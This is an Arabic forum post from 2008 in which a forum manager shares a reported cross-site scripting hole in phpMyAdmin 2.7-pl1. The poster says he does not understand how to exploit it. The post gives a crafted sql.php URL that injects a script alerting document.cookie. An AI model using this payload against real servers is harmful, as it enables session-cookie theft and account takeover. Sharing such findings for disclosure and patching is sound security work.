عمر
مديــــر المـــــنتدى
 عدد الرسائل : 625
العمر : 34
موقعك المفضل : https://ahatoshak.yoo7.com
المزاج : ريالي
المهنه : 
pnbsp& : 
السٌّمعَة : 0
نقاط : 4491
تاريخ التسجيل : 26/09/2008
 |  موضوع: ثغره في phpMyAdmin 2.7 -pl1  الأحد أكتوبر 05, 2008 4:47 am | |
| سلام عليكم ورحمة الله
هذي ثغره بس مفهمت طريقة الاستثمار
الثغره في الاصدار phpMyAdmin 2.7 -pl1
كود الاستثمار
كود PHP:
phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_general_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_properties_structure.php&sql
_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(docu ment.co okie)%3C/script%3E'%60
|
<table class=tborder cellSpacing=1 cellPadding=6 width="100%" align=center border=0><tr><td class=thead vAlign=bottom>التوقيع </TD></TR>
<tr><td class=alt1 title=التوقيع vAlign=bottom></TD></TR></TABLE>
|
| |
|
